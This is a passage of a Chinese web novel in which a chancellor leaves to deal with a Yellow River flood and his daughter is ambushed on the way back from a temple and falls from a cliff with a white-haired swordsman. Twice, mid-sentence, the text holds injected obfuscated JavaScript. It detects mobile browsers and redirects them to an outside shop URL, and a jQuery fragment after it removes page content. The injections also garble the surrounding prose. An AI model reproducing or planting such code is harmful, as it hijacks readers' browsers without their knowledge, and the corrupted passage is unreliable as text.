可现在……现在这世道,他自己都觉得像一本写崩了的小说。 老皇帝晚年的昏招,新皇帝那点心思,还有京城里越来越多奇奇怪怪的人和事——什么商场,超市,什么投水醒来就变才女的姑娘,现在又来个薛娘子搞拼刀刀…… 这些玩意儿,他这个穿越者看了都眼皮直跳。这哪是什么天降祥瑞,才女觉醒,分明是穿越大军集体登陆,还特么不带统一格式的! 跟这些同行搞出来的动静比,一个白发、能打、长得特别好看的叶英,反而显得……朴素了。 跟这些比起来,一个白发剑客,好像也没那么难以接受了。 至少目前看,这人没搞什么商业革命,也没吟诗作对,就是救了雅儿两次。 更何况,这人两次三番救了雅儿,看着倒不像有恶意的。 林承泽心里忽然冒出一个有点荒诞的念头:这该不会……真是话本里写的那种,专门配给女主角的男主角吧? 他被自己这想法弄得有点想笑,却又有点无力。 “继续盯着吧。”他抬起眼,对还跪着的暗卫说,“留心着小姐的安危就行。至于那位叶公子……只要他不做逾矩的事,便不必干涉。” 暗卫垂首:“是。” “还有,”林承泽看了一眼桌上那名册,觉得格外碍眼,“之前让你们留意的那些人……也先放一放吧。” 暗卫眼中便闪过一丝诧异,但也没多问,只应道:“遵命。” 黑影如来时一样,悄无声息地退了出去,带上了门。 书房里便又只剩下林承泽一个人。他向后靠在椅背上,闭上眼,长长地吐出一口气。 秀娘,咱们的女儿,好像……自己碰上一个挺奇怪的人。 这世道已经够荒唐了,或许,也只能用点荒唐的法子,才能走得下去吧。 6. 备车,去护国寺 传令的兵士几乎是滚下马鞍,踉跄着冲进金銮殿时。满朝文武刹那间噤了声,只听见他那嘶哑得几乎破音的嗓子在殿中回荡: “江陵府急报!黄河在青州、平阳、武定三府交界处溃了!淹了八个县!灾民……灾民已经聚众冲击官仓了!” 龙椅之上,年轻的皇帝猛地攥紧了扶手。 他亲政以来倒也还没遇到过这样的灾情,一时之间,内心的那些算计便也暂时先歇了。毕竟灾情如火。 林承泽则站在文官队列最前头,垂着眼,盯着手里那块象牙笏板。 他脑子里本来还转着昨儿夜里在书房斟酌的事。 可这会儿,那些字句在这突如其来的灾祸面前,一下子便都显得苍白无力了。 “林卿。”皇帝的声音听不出喜怒,却沉甸甸地压下来,“朕记得,你早年治理过山东的水患。” 这不是在问他,是在点他。 林承泽缓缓出列,躬身跪下,动作一丝不乱:“灾情如火,民命关天。臣,请旨即刻赴江陵督办赈灾。” “准。”皇帝吐出一个字,“赐尚方宝剑,准你便宜行事。务必稳住局面。” “臣,领旨谢恩。” 他起身时,目光不经意般扫过队列后头的兵部尚书刘璋。 那老匹夫嘴角那丝还没来得及完全敛下去的笑意,正好被他瞧了个正着。 林承泽心里冷笑一声。 是了,刘家在青州、平阳两府经营了多少年? 田产、码头、商铺,哪一样不是日进斗金?这回黄河决口,淹的岂止是百姓的田地? 怕是连刘家暗中在堤坝上动的手脚,也一并给冲出来了。 自己这一去,不光是治水赈灾,更是要替陛下,也替这被祸害的百姓,把这笔烂账清一清。 断人财路,如杀人父母。这仇,就算是结死了。 在眼前这滔天的灾情和可能爆发的民变面前,一切都变得无足轻重,被轻飘飘地搁置了。 消息传到相府时,林芊雅正对着书案上一本摊开的书出神,她自来是身体弱的,平日里除了看书便也没有什么其他事可做。尤其是间歇时日这些事情,更让她没精神做其他事了。 春华捧着刚沏好的热茶进来,放下茶盏声音也压得低低的: “小姐,前院林伯让阿福递了话进来,说老爷的急报已经到了……是黄河决了口子,淹了三府八县……陛下急召,老爷明日一早就得启程去江陵。” “明日?”林芊雅捻着笔的指尖一顿。 “是……”春华绞着衣角,“还听说,南疆那些使臣今早又递牌子进宫了,可陛下压根没见。” 林芊雅轻轻合上了书页。 一股说不清的荒谬感浮了上来,堵在胸口上不去,也下不来。 黄河……青州段决堤。 去岁秋汛过后,朝廷不是才拨了整整八十万两雪花银,由那位曹宪曹总督主持,大张旗鼓地重修堤坝吗? 当时工部报上来的捷报写得天花乱坠,说什么固若金汤,可保五十年无恙。 这才过了多久?满打满算,半年。 这溃堤的速度,简直比戏台上反派自曝阴谋还要快。 八十万两白银,就修出这么个东西? 这哪里是什么天灾,分明是连人祸二字都难以形容的荒唐。 父亲这一去,要面对的不只是滔天的洪水,无家可归的流民,更要面对那群要么是被那越来越离谱的世道裹挟着胡来要么就是本身便贪婪蠢笨的蠹虫。 曹宪是刘璋的门生,父亲动了堤坝的账,便是动了刘家的根基。此去,说是龙潭虎穴,都是轻的。 赈灾、修堤、安抚流民、还要在淤泥里把那些蠹虫一只只揪出来清算…… 哪一件不是耗时耗力、凶险万分的事?少说三个月,往长了看,怕是要半年。 这场突如其来的灾祸,却也如此不详。 林芊雅闭了闭眼,再睁开时,眼底那点茫然和荒谬感便已经褪得干干净净,只剩下清凌凌的锐利。 “春华,研磨。”她站起身,“我得给爹爹列一份单子。江陵那地方情势复杂,有些东西,他必须带上。” 书房里,林承泽已经换下了厚重的朝服,穿着一身半旧的藏青衣袍,正仔细翻看女儿送来的包裹。 里面是一件轻便贴身的软甲,几瓶上好的伤药和解毒丸,还有一沓写满了字的纸笺,分门别类,列得清清楚楚。 “雅儿,”林丞相摩挲着那件软甲,抬眼看向女儿,声音里带着不容置疑的叮嘱,“爹这一去江陵,少则三月,多则半年。招亲之事,暂且搁下。你务必安心待在府里,若非必要,绝不可出门。府中护卫,我已重新安排过了。” 林芊雅没有立刻应声,只是静静看着父亲。 他眼角的细纹似乎一夜之间深了许多,官袍下摆还沾着些干涸的泥点子——那是他今日凌晨接到消息后,连朝服都来不及换,便微服出城,亲自去查看了京城附近几处河道水情留下的。 父亲总是这样,事必躬亲。 “父亲,是刘家吗?”她忽然抬起眼,目光清凌凌地直望过去,“还有那位曹总督?” 林丞相手指几不可察地顿了一下。 他放下软甲,声音压得更低,只在这父女二人之间流转: “刘璋在青州、平阳的田产码头,这次损失惨重。以他的性子,绝不会善罢甘休。曹宪…… 那堤坝若真如急报所说那般不堪一击,他项上人头难保。狗急跳墙,什么事都做得出来。”他顿了顿,语气更沉,“还有那些地方上被断了财路的豪强、粮商……江陵如今,就是个一点就着的火药桶。” 他没说出口的是,龙椅上那位年轻的天子,对他这个权柄过重又是前朝老臣的宰相,早已心存忌惮。此番将他支去这等险地,未必没有借刀杀人一石二鸟的心思。 可这话,他不能说给女儿听。 徒增担忧,于事无补。 “总之,”林承泽忽然倾身,一把抓住女儿微凉的手,握得紧紧的,语气是从未有过的严厉,“记住爹的话!无论谁家下帖子邀你出府赏花踏青,一律推说病了,不见!护国寺……近期也千万不要再去!”他目光如炬,紧紧盯着女儿的眼睛,像是要把每一个字都刻进她心里,“尤其是——任何人送来的东西,哪怕只是一杯水、一张拜帖,也绝对不要经你的手!” 林芊雅感到父亲握住自己的手竟在微微颤抖,而且冰冷得吓人。 她心中一紧,不是为那可能的危险,而是为父亲这罕见的失态。 她反手用力回握住父亲的手,想用自己的体温去暖热那一片冰凉:“女儿都记下了,一字一句都刻在心里了。只是爹爹,您的手……为何如此冰冷?” 她不等父亲回答,便不由分说地解下自己身上那件莲青色的锦缎斗篷。 那是母亲生前最爱的颜色。她当时还小,母亲便轻便记挂着她的以后,叫人特地估算着我的量提前做了十几年的衣裳,生怕女儿受委屈。 她仔仔细细将还带着自己体温的斗篷披在父亲肩上,又俯身认认真真地系好颈前的带子。 林承泽看着女儿低垂的专注的侧脸,看着她睫毛在眼下投出的一小片阴影,心中那股寒意,似乎真的被这举动驱散了些,涌上一股暖流随即却又被更深的涩然淹没。 他叹了口气,声音里透出疲惫:“无妨,只是想到江陵之事,心中难安。雅儿,你说,这黄河堤坝,耗费朝廷巨万,为何就如此不堪一击?早不决,晚不决,偏偏在此时……” 林芊雅沉默了片刻,系好最后一个结,直起身,抬眼看着父亲。 她的眼神很静,静得像深潭的水,却又清亮得能照见人心:“爹爹,这世间的许多定数,有时或许只是……一场荒唐的戏。您去了,便是入了戏。但无论如何,您得记住,您才是持剑的人。万事……更要小心。” 父女二人对视一眼,都在对方眼中看到了同样的沉重,与无需言明的坚定。 然后,林芊雅退后两步,敛衽,端正跪下,恭恭敬敬地朝着父亲,磕了一个头。 “此去山高水远,路途艰险。女儿别无他求,唯愿爹爹保重贵体,事事谨慎,平安归来。” 林承泽看着跪在地上、身影单薄却背脊挺得笔直的女儿,只觉得眼眶一热,喉咙像是被什么堵住了。 他连忙仰起头,用力眨了眨眼,将那阵突如其来的酸涩狠狠逼了回去。 他上前一步,亲手将女儿扶起,大手在她尚且稚嫩的肩膀上重重按了按,仿佛要将自己的力量和承诺都传递过去。千言万语,翻涌在胸口,最终只化作两个沉甸甸的字: “……放心。” 次日清晨,天色未亮,相府门前的车马便已备好。 林丞相最后回头,看了一眼立在大门内的女儿。她依旧穿着一身极素净的衣裙,脸上没有泪,只是静静望着他,眼神清澈而坚定。 他不再留恋,转身登车,马车辘辘驶离。 林承泽离开京城的第七天,第一封关于灾情的详细邸报,才辗转送到了相府。 林芊雅亲自去前院接了,拿回书房,一个人,安安静静地看了很久。 邸报上的文字是官样文章,冷静克制,只一板一眼地陈述着决堤的范围、受灾的田亩、流民的大概数量。 字里行间,读不到洪水滔天的惨状,听不见灾民绝望的哭嚎。 可她能从那些冰冷僵硬的数字里,清晰地想象出父亲此刻正站在怎样的烂泥地里。 浑浊的洪水可能还没退尽,残垣断壁间漂浮着来不及收殓的尸首,侥幸活下来的人眼中只剩下麻木或疯狂。 父亲要面对的,就是这样一幅人间地狱般的景象。 春华端了一碗温着的莲子羹进来,见她对着邸报一动不动,忍不住小声道:“小姐,歇会儿吧,看久了伤神。” “没事。”林芊雅合上邸报,指尖在光滑的纸面上轻轻划过,“爹爹那边……今日可有新的消息传回来?” “方才管家来禀,说老爷派回来取东西的人刚到了,带了口信,说是一切安好,让小姐切勿挂念。” “那就好。”林芊雅接过羹碗,舀了一勺,却只是看着那莹白的莲子,没有立刻送入口中,“爹爹临走时特意交代了,让我这段日子就安心在府里待着,哪儿也别去,尤其是护国寺。我记得。” 春华看她神色平静,语气也平稳,心里头那股不安反而更重了:“小姐,您真就一步都不出去啊?这都多少天了,整日闷在府里,怕是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224171|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不出。”林芊雅放下勺子,语气不容置疑,“爹爹不在,我便是这府里的主心骨。我若是慌了,乱了,底下的人心里更没底。越是这种时候,越要稳得住。” 日子便这么一天天,看似平静地滑过去。 相府里安静得像一潭深水,波澜不兴。 林芊雅每日的起居作息一丝不乱。 用过早膳,便去父亲的书房,将他那些藏书分门别类地重新整理;午后小憩片刻,醒来有时看几本官政场上的书——那是父亲早年逼着她学的,说女子虽不必亲自下场科举,但管家理事,这些道理不能不懂。 她那时年纪小,只觉得枯燥乏味,如今自己静下心来再看,才稍许咂摸出一点其中的真味来。 偶尔,她也会带着春华,走到府中那栋临街的小楼上,凭栏远眺一会儿。 京城的街市依旧车水马龙,人流如织。 仿佛千里之外的洪水滔天、生灵涂炭,于这座繁华帝都而言,不过是一则茶余饭后略显沉重的谈资,说过,叹过,也就罢了。 南疆的使臣果然安静了下去,再没什么动静。 皇帝的心思全扑在了赈灾上;朝堂上那些前些日子还嚷嚷着检取丞相的声音,也被这突如其来的巨大灾情彻底压了下去。 可林芊雅心里比谁都清楚,水面下的暗流,却从未停歇过。 第十天头上,京中便开始有了些不太好的风声。 几个与林家素日交好的官员家眷,陆陆续续派人或是亲自登门来“探望”。 言语间看似关切,却总在不经意处透露出担忧——都说林相此去江陵,直面溃堤惨状,又要应对地方盘根错节的势力,实在是凶险得很。 林芊雅客客气气地一一接待,又客客气气地送走,脸上始终挂着得体的略显疏淡的微笑。等人一走,转身便吩咐管家林伯:“往后再有这类拜访,不论是谁家,一律就说我身上不爽利,病了,需要静养,不便见客。” 又过了几日,连春华都察觉到了不对劲。 “小姐,”一日清晨,小丫鬟从厨房回来,脸色有些发白,凑到她耳边,声音压得极低,“奴婢今早去取燕窝,听见两个负责浆洗的婆子在灶台边嚼舌根……说、说老爷在江陵,动了某些人的钱袋子,那些人已经放出话来,要让老爷……有去无回了。” 林芊雅正在整理书架的手,几不可察地顿了一下。她缓缓将手中的书册插回原位,转过身,面色平静无波:“哪两个婆子?” “是……是张嬷嬷和李嬷嬷。就是后巷住着的,在府里做了七八年浆洗活儿的那两个。” “知道了。”林芊雅语气依旧平淡,“你去告诉林伯,让他私下里查查,这两个婆子最近这些日子,都和哪家府上的人有过接触,收了什么好处没有。查清楚了,该罚的罚,该撵的撵。手脚干净些,别闹出太大动静。” “是。”春华应下,匆匆去了。 当天下午,那两个多嘴的婆子就被撵出了相府,理由是她俩偷懒耍滑,浆洗不净。府里的下人们噤若寒蝉,一下子安静规矩了许多。 半个月后,第一封真正的家书,才终于送到了林芊雅手上。 信是林承泽亲笔,字迹比平日潦草许多,显是匆忙间写就。 信里没提灾情到底有多严重,也没说遇到了什么难处,只翻来覆去说着“一切都好”,“勿念”。但信的末尾,却十分突兀地加了一句和前面内容毫不相干的话: “近日天寒,记得添衣。另,替爹在佛前供一盏长明灯,祈福平安。” 林芊雅捏着那张薄薄的信纸,指尖微微发颤,反反复复看了足足三遍。 每一个字的笔锋转折,她都仔细辨认过,是父亲的笔迹无疑。 “替爹在佛前供一盏长明灯。” ——这是只有他们父女二人才知晓的、绝不能为外人所知的暗号。它真正的意思是:“有人要对我下手,情势危急,我已难以传递确切消息。你速去护国寺,通过方丈大师这条线,寻求救援或传递关键信息!” 她的心跳得又快又重,撞得胸口发闷。 是真的吗?还是有人模仿了父亲的笔迹,故意设下的圈套?就为了引她出府? 可那暗号……除了她和父亲,这世上绝不会有第三人知道。父亲曾说过,这是他们之间最后的保命符,连她身边最亲近的春华都不知晓。 “小姐?”春华见她盯着信纸,脸色一点点白下去,连嘴唇都失了血色,忍不住试探着唤了一声,声音里满是担忧。 林芊雅猛地回过神。 她走到书案边的烛台前,将那张信纸凑近跳动的火苗。 火舌贪婪地舔上纸张边缘,将信纸完全吞没,化作一小撮灰烬。 “备车。”她转过身,声音很轻,却带着一种斩断所有犹豫的决绝,“去护国寺。” “现在?”春华愣住了,抬头看了看窗外已经暗下来的天色,“小姐,天都快黑透了,而且老爷临走时千叮万嘱,让您千万别去护国寺……” “我知道。”林芊雅打断她,已经开始动手解身上家常穿的藕荷色外衫,“更衣。要那身最不起眼的、灰扑扑的。你也是,换身不打眼的衣裳。” 春华看她神色,知道劝不住,也不敢再多问,连忙手脚麻利地准备起来。 7. 女安,勿念。父珍重 马车驶出相府侧门时,街上行人已经很稀少了。 车轮碾过青石板路,发出单调的轱辘声。 林芊雅靠坐在车厢里,闭着眼,努力调整着呼吸,想让那擂鼓般的心跳平复下来。 她当然知道这趟出门的风险。 父亲临走前那严厉到近乎慌乱的叮嘱,此刻就在耳边回响。 京中不知有多少双眼睛在暗处盯着相府,等着抓林家的错处。她这一动,等于是把自己从相对安全的府邸,送到了明处,送到了那些不怀好意的视线之下。 可是……万一呢? 万一这真是父亲在孤立无援的绝境中,拼死传回来的、最后一线生机?万一父亲此刻正身陷囹圄,等着她去搬救兵? 这个念头扎在她心尖上。她连万分之一的可能,都不敢去赌。 即便前方真的是龙潭虎穴,布满荆棘,她也必须去闯。 为了父亲。 护国寺在城西的半山腰,山路不算陡峭,但夜色浓重,马车不敢走快,只能借着车前挂着的灯笼那点微弱的光,小心翼翼地前行。 林芊雅掀开车帘一角,望向窗外。 山路两旁是茂密的松林,在沉沉的暮色里黑黢黢一片。夜风穿过林间,偶尔有夜鸟被马车惊动,扑棱棱飞起。 她忽然想起很小的时候,父亲和母亲曾带她来护国寺上香。 那时母亲还在,身子虽弱,精神却好,一家三口,其乐融融。寺里的方丈大师见到她,总会笑眯眯地摸摸她的头,然后从袖子里变戏法似的掏出一块寺里特制的、带着淡淡檀香的糖块塞给她。 后来母亲走了,父亲被朝政缠身,心力交瘁,便很少再带她来寺庙。 最后一次见到方丈大师,是她及笄那年。父亲亲自领着她来,请大师为她祈福,愿她平安顺遂。 大师看了她很久,那双阅尽世事的眼睛里情绪复杂,最终却只说了四个字: “慧极必伤。” 当时她年纪小,并未深想,只以为是高僧的偈语。如今再琢磨,那或许……根本不是什么祝福。 “小姐,快到了。”春华小声提醒,打断了她的思绪。 林芊雅收回目光,放下车帘,将那一丝不合时宜的感伤压回心底。 马车终于停在了护国寺的山门外。 夜色中的古寺,与白日里香火鼎盛、信众如云的景象截然不同。 朱红色的大门紧紧关闭着,只留了一扇供僧人夜归的侧门虚掩。门前两盏写着“佛”字的灯笼在夜风中晃晃悠悠。 一个小沙弥从侧门探出头来,看见马车,双手合十,规规矩矩地行了个礼,声音还带着稚气:“阿弥陀佛。施主,寺门已闭,若要进香礼佛,请明日再来。” 春华连忙上前,压低声音说了几句什么,又迅速从袖中取出林承泽的一枚私印,递了过去。 小沙弥接过,凑到灯笼下仔细看了看,脸色微微一变,不敢耽搁,连忙转身,小跑着进去通报了。 不多时,侧门被完全打开,一个年长的知客僧快步迎出,神色是前所未有的凝重,他目光在林芊雅身上迅速一扫,便侧身让路:“林小姐,请随我来。” 林芊雅定了定神,带着春华,跟着知客僧走进了寺内。 夜色笼罩下的护国寺,显得格外空旷幽深。巍峨的大殿只剩下一个黑沉沉的轮廓。 知客僧引着她们穿过前殿,绕过钟楼鼓楼,又穿过一片竹林掩映的禅院,最后在一处极为僻静的禅房前停下脚步。 “方丈大师已在里面等候林小姐。”知客僧合十行礼,随即无声地退入一旁的阴影里。 林芊雅在禅房门前站定,深吸了一口气,才抬手,轻轻推开了那扇虚掩的房门。 禅房里只点着一盏小小的油灯,光线昏暗。一个须眉皆白、面容清癯的老僧盘坐在蒲团上,正是护国寺的方丈,了尘大师。 “大师。”林芊雅走进屋内,敛衽,端端正正地行了一礼。 了尘大师缓缓睁开眼,目光清明如镜:“林小姐深夜来访,所为何事?” 林芊雅没有绕任何弯子,直接道:“家父远在江陵,恐身陷危难。他传信于我,信中暗语,命我速来此地,求大师相助。” 她将父亲信末那句看似寻常的嘱托,以及其中隐藏的真实含义,清晰而低声地复述了一遍。 了尘大师听完,沉默了很久。 “林相……”了尘大师终于缓缓开口,“许多年前,老衲曾欠下他一个极大的人情。当时便已应下,若有朝一日,林家遇难处,老衲必当竭力相助,以偿此恩。” 林芊雅心中微微一紧:“大师的意思是……” “江陵之事,老衲身在方外,亦有所耳闻。”了尘大师的目光落在她脸上,“但护国寺乃佛门清净地,不可直接插手朝堂政事,此乃铁律。老衲能做的,仅限于为林小姐提供一个传递消息的途径——寺中有特殊的渠道,可以避开朝廷常规的耳目,将密信送至江陵府可靠之人的手中。” 他顿了顿,语气加重了几分:“只是,这条渠道,一月之内,只能动用一次。且风险极大。一旦中途被截获,不仅消息传不出去,连送信之人,恐怕也会有性命之危。” 林芊雅静静地听着,脸上没什么表情,只有那双眼睛,亮得惊人。她几乎没有犹豫,深吸一口气,沉声道:“我明白其中利害。即便如此,也请大师相助。” 了尘大师看着她眼中那份与年龄不符的决绝和清醒,最终,缓缓点了点头:“也罢。林小姐请将需传递的密信写下,老衲会即刻安排妥当之人送去。” 禅房的角落,纸墨笔砚早已备好。 林芊雅走到案前,提起笔,笔尖悬在雪白的纸笺上方,却久久未能落下。 要写什么?告诉父亲京中一切安好,让他不必挂心?叮嘱他千万小心提防,保全自身?还是恳求他,无论如何,尽快平安归来? 千言万语堵在喉咙口,最后,她只落下了八个字,力透纸背: “女安,勿念。父珍重。” 了尘大师接过那封简短得惊人的密信,仔细封好,收入宽大的袖中:“三日内,必有回音。” “多谢大师。”林芊雅深深一礼。 从禅房出来时,夜色又深了一层。 山风比来时更急了些,呼啸着穿过殿堂廊庑。 春华上前扶住她,能感觉到小姐的手臂微微发凉,轻声问:“小姐,咱们这就回去吗?” 林芊雅点了点头,脚步却有些虚浮。 方才在方丈面前强撑的镇定,此刻像是耗尽了所有力气,一阵阵发冷的感觉从骨头缝里渗出来。 她们沿着来时的路,默默往回走。 再次穿过那座空旷的主殿时,林芊雅无意中抬了下头。 殿中那尊巨大的佛像,在长明灯摇曳的光晕里,低眉垂目,面容是一贯的悲悯祥和。 可不知怎的,她忽然觉得,那悲悯之下,似乎藏着一双冰冷的、漠然的眼睛,正无声地俯视着殿中蝼蚁般的众生。 “小姐,小心台阶。”春华的提醒让她回过神。 她收回目光,不再看那佛像,迈步走下冰凉的石阶。 山门外,马车还静静等候在原处。车夫见她出来,连忙打起帘子。 林芊雅正要抬脚上车,眼角的余光,却猛地瞥见不远处那片黑沉沉的松林边缘,似乎有黑影极快地一闪而过,没入了更深的黑暗里。 她的心跳,骤然漏了一拍。 “快走。”她压下心头骤起的惊悸,低声急促地催促,几乎是有些狼狈地迅速钻进了车厢。 马车很快调转方向,沿着来时蜿蜒的山路,朝着山下驶去。 车轮碾过碎石和泥土,发出单调的轱辘声。林芊雅靠在车厢壁上,闭着眼,指尖紧紧攥着腕上那支白玉镯子,冰凉的触感让她混乱的思绪勉强集中。 不对劲。 从她离开相府开始,这一路都太顺利了。顺利得不像是巧合,倒像是有人早就料定了她今夜一定会来护国寺,料定了她会去见方丈,甚至连她可能会逗留多久,都计算得清清楚楚。 父亲那封语焉不详的信,方丈大师口中那条隐秘的传递渠道……一切都合情合理,严丝合缝。 可越是合情合理,严丝合缝,此刻想来,越让她心底发寒。 如果这从头到尾,就是一个精心布置好的局呢? 那设局之人,不仅对父亲在江陵的处境了如指掌,甚至对他们父女之间绝不外传的保命暗号也一清二楚,连护国寺这条最后的退路,都被算进去了! 马车忽然毫无预兆地剧烈颠簸了一下,车轮似乎碾过了一块不小的石头。 林芊雅猛地睁开眼,几乎是本能地,再次掀开车帘一角,警惕地向外望去。 外面是浓得化不开的漆黑,山路像一条灰白的带子,曲折地向前延伸。两旁的松林在夜色中沉默地矗立着。 太安静了。除了风声和车轮声,什么声音都没有。连夏夜本该有的虫鸣,此刻都诡异地消失了。 一股冰冷的寒意,顺着脊椎缓缓爬了上来。 “春华,”她压低声音,语气急促,“告诉车夫,再快些!尽快下山!” “是。”春华应声,刚探身向前,准备传话——变故就在这一瞬间发生! “嘶聿聿——!” 拉车的两匹原本温顺的马,毫无征兆地同时发出一声凄厉至极的惨烈长嘶!那声音完全不似寻常马匹受惊,倒像是承受了极大的痛苦!紧接着,马眼中泛起骇人的赤红,口中吐出大团大团的白沫,像是完全疯了,不管不顾地人立而起! 车夫猝不及防,连惊呼都来不及发出,直接被巨大的力量从车辕上甩飞出去,重重摔在路边的草丛里,生死不知! “小姐!小姐!”春华吓得魂飞魄散,尖叫着,下意识死死拽住了林芊雅的衣袖,整个人抖得像风中的落叶,“马疯了!马疯了!” 林芊雅在剧烈的、几乎要将人五脏六腑都颠出来的摇晃中,拼命抓住车厢内壁的扶手,勉强稳住身形。她透过被疯马拽得疯狂翻飞的车帘缝隙,向外一瞥—— 前方不到十丈远,就是陡峭的山崖! 而马匹那种癫狂的状态,口吐白沫,双眼赤红……分明是被人下了药!是早有预谋! “春华!松手!快松手!” 她当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224172|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机立断,厉声喝道,用尽全力挣脱春华死拽着的手,一手奋力去拉已经有些变形的车门,另一只手拼命想将吓软了、几乎动弹不得的春华推出车厢,“准备跳车!快!” 可一切都发生得太快了,快得根本不容人反应。 彻底失去理智的疯马,拖着剧烈倾斜、随时可能散架的车厢,以一种决绝的、同归于尽般的疯狂,朝着悬崖边猛冲过去! 车轮疯狂地碾过路面上凸起的碎石,发出令人牙酸的嘎吱声。 整个车厢倾斜得几乎要翻倒,林芊雅死死抓住车门框,指尖因为用力而泛出青白色。在天地颠倒般的剧烈颠簸和令人窒息的绝望中,她眼角的余光,猛地瞥见崖边某块突出的巨石后面—— 一道冰冷的、属于金属的锐利反光,在黑暗中极快地一闪而过! 那里……埋伏着人! 这个念头刚如闪电般劈入脑海,几乎在同一刹那,电光石火之间—— 一道白影,快得超出了人眼所能捕捉的极限,如一道撕裂夜色的惊电,自半山腰某处,朝着失控的马车,疾掠而下! 那道身影……是……?! 半山腰,一棵虬结的老松树下,叶英其实已经在那里站了有一会儿了。 今日他是跟着一位不久前结识的、略通医术的友人来的。那友人说,护国寺的方丈大师不仅佛法精深,医术也颇为高明,或许能看出他这离奇失忆和骤然目盲的症结所在。 他对此并未抱太大希望,但心底深处,总还存着一丝渺茫的期待,便跟着来了。 友人与知客僧交涉时,他便独自一人,静静立在寺外的这片松林边。夜风吹动他素白的衣袂和如雪的发丝,他闭着眼,用远超常人的听力,捕捉着周遭的一切细微声响。 然后,他便听见了那辆马车由远及近的声音。很普通的车轮声,在寂静的山夜里格外清晰。 但紧接着,他便察觉到了不对劲。 周围太安静了。安静得除了风声和那辆马车的声音,几乎听不到别的。连夏夜山林间本该充斥的虫鸣蛙叫,都诡异地消失了。这不正常。 更不对劲的是,在那片过分的寂静里,他分明听到了几道被刻意压抑过的、沉稳而绵长的呼吸声,从不同的方向传来,隐藏在松林和岩石的阴影深处。 有人埋伏。 这个判断刚在他心中成形,变故便毫无预兆地爆发了! 马匹凄厉到不正常的嘶鸣、人群惊恐短促的尖叫、甚至还有某种极轻微的、金属机括被拨动的脆响! 而几乎就在这些声音炸开的同时,一个他绝不会听错、此刻却充满了惊急与决绝的女声,厉声喝道: “春华,松手!” 是她?! 那个在官道上救了他、在茶楼里又被他所救,身上总带着清苦药香和花果香,却连名字都未曾互通的神秘官家小姐! 叶英甚至来不及去思考她为何会在此地,身体已经先于一切理智和判断,本能地做出了反应! 内力在经脉中轰然奔涌,他足尖在松枝上一点,身法快到了极致,如一道真正的闪电,朝着那辆正疯狂冲向悬崖的马车纵身跃下! 跃下的瞬间,他听见车夫被甩飞落地的沉重闷响,听见车厢木板承受不住巨大压力发出的呻吟。 他精准地落在剧烈颠簸、几乎要散架的车厢顶部,手中长剑在夜色中划出一道凄冷的寒光,毫不犹豫地斩向那连接着疯马的缰绳! “锵!” 剑刃与皮革、铁扣碰撞,发出一声脆响。缰绳应声而断! 可马车下冲的惯性实在太大!失去了马匹的牵引,沉重的车厢依旧不可遏制地、沿着倾斜的山坡,继续滑向那黑洞洞的悬崖边缘! “抓住我!” 叶英低喝一声,声音被疾风吹得有些破碎。他整个身体探出车厢边缘,手臂伸长到极限,朝着那扇破碎车窗内伸出的一只纤细的、属于女子的手,一把抓去! 林芊雅几乎是在听到他那声低喝的同一瞬间,就用尽了全身残存的力气和所有求生的意志,奋力将自己的手伸向窗外,迎向那只在夜色和死亡阴影中伸来的手。 下一瞬,她的手腕被一只冰冷却异常有力稳如铁钳的手,牢牢握住! 然而,就在她心中刚刚升起一丝微弱希冀的刹那—— “咔嚓——!” 一声令人头皮发麻、心胆俱裂的脆响,从马车左侧的车轮下方猛地传来! 崖边那块本就风化严重、承受着车厢大半重量的巨石,终于无法负荷这最后一根稻草般的冲击,从内部轰然崩塌、碎裂! 天旋地转! 可怕的失重感瞬间攫住了她所有的感官!尘土、碎石、断裂的木屑在眼前疯狂飞溅!耳边只剩下呼啸的风声和自己血液冲上头顶的轰鸣! 而在意识被黑暗吞噬前的最后一瞬,在那急速下坠、仿佛永无止境的深渊里,林芊雅无比清晰地感觉到—— 紧紧握住她手腕的叶英,毫不犹豫地、甚至带着一种近乎本能的决绝,猛地用力将她往自己怀中一拉,同时以一种完全放弃自身防御的姿态,硬生生地翻转身体,用他自己的后背,垫在了她的下方…… 8. 但求问心无愧罢了 冰冷。 深入骨髓的冰冷,将林芊雅从混沌中拽了出来。 她睁开眼,眼前是浓稠得化不开的黑暗。 有那么一瞬,她以为自己已经死了。直到左腿传来钻心般的剧痛,才让她混沌的思绪清醒了几分。 她动了动,却发现自己半身浸在冰冷的水里,水流潺潺,寒意透过湿透的衣衫直往骨头缝里钻。 她撑着未受伤的右臂,费力地坐起身,环顾四周——什么也看不清,只有极远处似乎有一线微光。 是地下溶洞。 坠崖深潭荒洞……这些她只在志怪传奇里读到的险境,竟一桩桩应验在她身上。 一股荒谬至极的无力感涌上心头。 “这世事……当真比话本还要离奇莫测。”她喃喃自语,声音在空旷的洞中显得微弱飘忽,“只是话本里的人总能逢凶化吉,而我……”她低头看向自己剧痛的左腿和冰冷的四周,后面的话便噎在了喉咙里。 记忆如潮水般回涌。 父亲的密信 护国寺的求救 失控疯癫的马匹 崩塌的崖边巨石…… 以及最后那一瞬,那道如雪色惊鸿般骤然出现斩断缰绳,却与她一同坠落的白色身影! 是他! 那个在茶楼救过她一次的白发男子! 他在哪? 恐慌瞬间攫紧了心脏,甚至压过了腿上的疼痛。她忍着疼,焦急地在黑暗中摸索张望。 